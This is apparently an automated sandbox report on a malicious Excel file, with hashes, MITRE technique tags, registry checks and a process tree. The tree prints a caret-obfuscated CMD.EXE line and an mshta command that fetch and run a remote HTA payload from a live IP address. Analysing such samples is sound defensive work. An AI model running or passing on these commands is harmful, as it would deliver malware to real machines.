a7be01bf50c16dab698f3c2ff28a73689bbb9cac537e2ff395c770f48caa6cdd

Analysis

max time kernel
133s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-11-2024 17:40

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General

Target

a7be01bf50c16dab698f3c2ff28a73689bbb9cac537e2ff395c770f48caa6cdd.xls
Size

36KB
MD5

c3c5713e4ca446a1323143d2b61b6ea6
SHA1

63f176fcb766d18130e98e63423b0592a1712b92
SHA256

a7be01bf50c16dab698f3c2ff28a73689bbb9cac537e2ff395c770f48caa6cdd
SHA512

efce321e412143b66c5ca76d07850627aff9ca2755ecb5843b46d821504397e806ee703418c2ea813f04194e5f1eaffc370ca7efbc120f4d356fcc33e2444c85
SSDEEP

768:f1kk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJjj6ehEnmEzk:f1kk3hbdlylKsgqopeJBWhZFGkE+cL2V

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2184	3996	CMD.EXE	81

Blocklisted process makes network request 1 IoCs

flow	pid	Process
23	5008	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3996	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3996	EXCEL.EXE
3996	EXCEL.EXE
3996	EXCEL.EXE
3996	EXCEL.EXE
3996	EXCEL.EXE
3996	EXCEL.EXE
3996	EXCEL.EXE
3996	EXCEL.EXE
3996	EXCEL.EXE
3996	EXCEL.EXE
3996	EXCEL.EXE
3996	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3996 wrote to memory of 2184	3996	EXCEL.EXE	85
PID 3996 wrote to memory of 2184	3996	EXCEL.EXE	85
PID 2184 wrote to memory of 5008	2184	CMD.EXE	87
PID 2184 wrote to memory of 5008	2184	CMD.EXE	87

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a7be01bf50c16dab698f3c2ff28a73689bbb9cac537e2ff395c770f48caa6cdd.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3996
- C:\Windows\SYSTEM32\CMD.EXE
  CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2184
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/oo/aa/se.html
    3⤵
    - Blocklisted process makes network request
    PID:5008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3996-0-0x00007FFD77C70000-0x00007FFD77C80000-memory.dmp

Filesize
64KB

Download
memory/3996-2-0x00007FFD77C70000-0x00007FFD77C80000-memory.dmp

Filesize
64KB

Download
memory/3996-1-0x00007FFD77C70000-0x00007FFD77C80000-memory.dmp

Filesize
64KB

Download
memory/3996-3-0x00007FFDB7C8D000-0x00007FFDB7C8E000-memory.dmp

Filesize
4KB

Download
memory/3996-6-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-9-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-8-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-7-0x00007FFD77C70000-0x00007FFD77C80000-memory.dmp

Filesize
64KB

Download
memory/3996-5-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-4-0x00007FFD77C70000-0x00007FFD77C80000-memory.dmp

Filesize
64KB

Download
memory/3996-10-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-11-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-12-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-13-0x00007FFD75310000-0x00007FFD75320000-memory.dmp

Filesize
64KB

Download
memory/3996-14-0x00007FFD75310000-0x00007FFD75320000-memory.dmp

Filesize
64KB

Download
memory/3996-18-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-17-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-16-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-15-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download
memory/3996-29-0x00007FFDB7BF0000-0x00007FFDB7DE5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads